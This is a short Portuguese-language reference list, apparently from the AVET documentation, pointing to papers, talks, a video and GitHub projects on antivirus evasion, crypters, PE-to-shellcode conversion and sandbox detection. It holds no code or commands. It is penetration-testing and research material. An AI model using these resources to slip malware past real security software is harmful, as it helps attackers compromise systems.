Para noções básicas sobre evasão de antivírus, AVET e mais informações, dê uma olhada aqui (principalmente para a versão 1.3):
- [https://govolution.wordpress.com/2018/08/07/paper-avet-blackhat-usa-arsenal-2018/](https://govolution.wordpress.com/2018/08/07/paper-avet-blackhat-usa-arsenal-2018/)
- [https://govolution.wordpress.com/2017/06/11/avet-video/](https://govolution.wordpress.com/2017/06/11/avet-video/)
- [https://govolutionde.files.wordpress.com/2014/05/avevasion_pentestmag.pdf](https://govolutionde.files.wordpress.com/2014/05/avevasion_pentestmag.pdf)
- [https://deepsec.net/docs/Slides/2014/Why_Antivirus_Fails_-_Daniel_Sauder.pdf](https://deepsec.net/docs/Slides/2014/Why_Antivirus_Fails_-_Daniel_Sauder.pdf)
- [https://twitter.com/DanielX4v3r](https://twitter.com/DanielX4v3r)
- [https://github.com/govolution/avetosx](https://github.com/govolution/avetosx)
- [https://github.com/tacticaljmp](https://github.com/tacticaljmp)
- [https://github.com/Mr-Un1k0d3r/DKMC](https://github.com/Mr-Un1k0d3r/DKMC)
- [https://github.com/m0n0ph1/Basic-File-Crypter](https://github.com/m0n0ph1/Basic-File-Crypter)
- [https://github.com/hasherezade/pe_to_shellcode](https://github.com/hasherezade/pe_to_shellcode)
- [https://github.com/hasherezade/demos/](https://github.com/hasherezade/demos/)
- [https://github.com/a0rtega/pafish](https://github.com/a0rtega/pafish)
- [https://danielsauder.com](https://danielsauder.com)